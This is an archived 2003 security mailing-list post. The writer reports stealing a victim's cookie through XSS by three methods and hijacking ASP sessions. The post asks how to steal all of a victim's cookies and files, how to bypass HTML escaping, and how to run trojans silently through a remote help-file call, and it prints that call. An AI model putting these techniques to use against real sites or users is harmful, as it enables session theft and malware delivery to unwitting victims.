RE: Proof of Concept Tool on Web Application Security

From: Indian Tiger <indiantiger(at)mailandnews.com>
Date: Wed Apr 23 2003 - 03:20:54 EDT

Hey Everybody,

First of all thank you very much to Robert, Rogan, Steve, Nicolas and Leah for
their guidance to test XSS and Session ID brute force attack.

Now I can transfer victim&#x2019;s cookie to another location successfully. I have tested XSS to transfer cookie using following three ways:

1. Using  document.location
2. Using Image src
3. Using hidden fields

The cookie, which I am getting, is of current application only mean If I am accessing
www.hotmail.com I will be getting only Hotmail's session ID asigned to me for that session.

Now how can I steal all cookies stored on the victim&#x2019;s machine? or how to transfer a file
from Victim machine using Client Side Scripting or any other way?

Some sites converts < and > tags into &lt; and &gt; to protect them selves from XSS attacks. Is there any way to bypass this protection?

I was testing some trojan execution using XSS. In this process I was able to run help file 31users.chm from attackers machine to victims machine as follows:
window.showhelp(file:///XXX. XXX. XXX. XXX/c:/windows/help/31users.chm) Is it possible to run some trojan or activex componenet instead of help file?
Without alerting for any pop-up.
Is this possible to write some malicious help file? (These files not even ask
before execution.)

As per IDefence&#x2019;s Article on &#x201c;Brute forcing Session ID&#x201d; some time session ID is random. I have tested this against six sites and I was not much lucky to get session IDs in which only last 3-4 digits are changing. What do you think in practice still are they so? Since iDEFENSE has published
this research in Nov 2001 and current scenario might be a bit changed.

In my research of six sites, four sites were using ASP session variable to generated session ID and remaining two their own.

I was able to hijack ASP sessions using session IDs. In my testing, first I have logged in as user1, got his session ID and using user1&#x2019;s session ID, I was able to hijack user1.

Any help on this would be highly appreciated.

Thanking You.
Sincerely,

Indian Tiger, CISSP

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Received on Thu Apr 24 13:01:22 2003